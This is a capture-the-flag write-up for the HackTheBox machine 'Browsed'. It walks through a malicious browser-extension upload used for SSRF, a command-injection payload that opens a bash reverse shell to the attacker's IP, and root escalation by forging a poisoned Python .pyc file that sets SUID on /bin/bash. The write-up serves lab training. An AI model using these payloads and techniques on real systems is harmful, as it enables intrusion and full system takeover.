Back to Posts

HackTheBox: Browsed

|brian@portfolio

HTB Browsed: Write-Up

Difficulty: Medium

OS: Linux

Techniques:

TacticTechnique IDTechnique Name
DiscoveryT1046Network Service Discovery
Initial AccessT1190Exploit Public-Facing Application
ExecutionT1059Command and Scripting Interpreter (JavaScript, Unix Shell)
Credential AccessT1552.004Unsecured Credentials – Private Keys
Privilege EscalationT1548.003Abuse Elevation Control Mechanism: Sudo
Persistence / Defense EvasionT1574.001Hijack Execution Flow: DLL Side-Loading / Code Cache Poisoning
Privilege EscalationT1068Exploitation for Privilege Escalation

1. Reconnaissance

Port Scanning

We began with a standard nmap scan to identify open ports on the target browsed.htb.

nmap -sC -sV -oN nmap/initial 10.129.12.157

Results:

Web Enumeration

Exploring the website, we found a feature allowing users to upload a browser extension (.zip file) for analysis. The site claims to use a "headless browser" to test the extensions.

This setup suggests a Client-Side to Server-Side Attack vector. If the headless browser executes the JavaScript within our uploaded extension, we can make it perform actions on our behalf from inside the server's network (SSRF).


2. Initial Access (User: Larry)

The Strategy

A Chrome extension is a privileged mini-application. We can modify content.js to execute arbitrary JavaScript.

We created a malicious Chrome Extension to probe the internal network of the headless browser.

  1. Manifest File (manifest.json): We requested broad permissions, specifically targeting localhost and 127.0.0.1 to access internal services.

  2. Content Script (content.js): A script that automatically runs when the headless browser loads a page. It fetches internal URLs and sends the response back to our attack machine.

Step 2: Internal Reconnaissance (SSRF)

Using the extension, we can force the browser to request internal resources.

Target: http://browsedinternals.htb This domain hosts a Gitea instance. Browsing the repositories (via our SSRF or if publicly exposed) reveals a MarkdownPreview repository. The README warns: “This webapp allows us to convert our md files to html… it should only run locally !!!”

Target: 127.0.0.1:5000 The source code from Gitea reveals a Flask-based Markdown Preview application running on localhost port 5000. It exposes an endpoint /routines/ which accepts a routine ID.

Step 1: Command Injection

We identified that the Markdown Preview service (likely running on Flask or similar) was vulnerable to command injection via the cmd or similar parameters in a POST request. We updated our content.js to send a reverse shell payload.

The Payload (content.js):

// 1. The target is the internal Flask app
const TARGET = "http://127.0.0.1:5000/routines/";

// 2. The standard Reverse Shell
const cmd = `bash -c 'bash -i >& /dev/tcp/10.10.14.x/9001 0>&1'`;

// 3. Encoding to bypass URL restrictions and quote issues
const b64 = btoa(cmd); 

// 4. The Injection Payload construction
// This builds: a[$(echo BASE64_STRING | base64 -d | bash)]
const exploit = "a[$(echo" + "%20" + b64 + "|base64" + "%20" + "-d|bash)]";

// 5. Trigger the request
fetch(TARGET + exploit, { mode: "no-cors" });

Execution

  1. Zipped the files: zip exploit.zip manifest.json content.js.

  2. Started a Netcat listener: nc -lvnp 9001.

  3. Uploaded exploit.zip to the website.

  4. Success: The headless browser executed the extension, triggered the internal API, and sent us a shell as user larry.


3. Privilege Escalation (Root)

Enumeration

Checking sudo privileges revealed a custom Python script:

larry@browsed:~$ sudo -l
(root) NOPASSWD: /opt/extensiontool/extension_tool.py

Investigating the script, we saw it imports a local module named extension_utils:

#!/usr/bin/python3.12
...
from extension_utils import validate_manifest, clean_temp_files
...

Checking permissions on the directory:

ls -la /opt/extensiontool/__pycache__/
drwxrwxrwx 2 root root 4096 ...

The __pycache__ directory is world-writable (777). This indicates a Python Bytecode Hijacking vulnerability.

The Vulnerability: PyCache Poisoning

When Python imports a module, it checks __pycache__ for a compiled .pyc file. If one exists and its metadata (timestamp and size) matches the source .py file, Python executes the bytecode directly without recompiling.

Since we can write to __pycache__, we can create a malicious .pyc file. However, simply compiling it isn't enough; we must forge the header to match the legitimate source file extension_utils.py so the interpreter accepts it.

Step 1: Create the Payload

We created extension_utils.py in /tmp to set the SUID bit on /bin/bash.

# /tmp/extension_utils.py
import os
os.system("chmod +s /bin/bash")

Step 2: Compile to Bytecode

We compiled it using the exact version found on the target (Python 3.12).

python3.12 -m py_compile extension_utils.py

Step 3: Poison the Header

We wrote a script to copy the timestamp and size from the real extension_utils.py and inject them into our malicious .pyc header.

# generate_poison.py
import os
import struct

source_file = "/opt/extensiontool/extension_utils.py"
malicious_pyc = "/tmp/__pycache__/extension_utils.cpython-312.pyc"
target_pyc = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

# Read our compiled payload (skipping the first 8 bytes of generic header)
with open(malicious_pyc, "rb") as f:
    magic = f.read(8)
    code = f.read()[8:]

# Get metadata from the victim source file
st = os.stat(source_file)
mtime = int(st.st_mtime)
size = st.st_size & 0xFFFFFFFF

# Pack new header: Magic(8) + Timestamp(4) + Size(4)
# Python 3.12 headers are 16 bytes
header = magic + struct.pack("<II", mtime, size)

# Write the poisoned file to the target directory
with open(target_pyc, "wb") as f:
    f.write(header + code)

print("[+] Cache poisoned.")

Execution

  1. Ran python3 generate_poison.py.

  2. Verified extension_utils.cpython-312.pyc existed in /opt/extensiontool/__pycache__/.

  3. Executed the sudo command:

    sudo /opt/extensiontool/extension_tool.py --help
    
  4. The script crashed with an ImportError (because our fake module didn't actually have the functions the main script wanted), but the top-level code executed first.

  5. Checking bash permissions:

    ls -la /bin/bash
    # -rwsr-sr-x 1 root root ... /bin/bash
    
  6. Escalated to root:

    /bin/bash -p
    # id
    # uid=1000(larry) gid=1000(larry) euid=0(root) groups=0(root)...
    

Root Flag: 25dd********45f2260d1fe28c02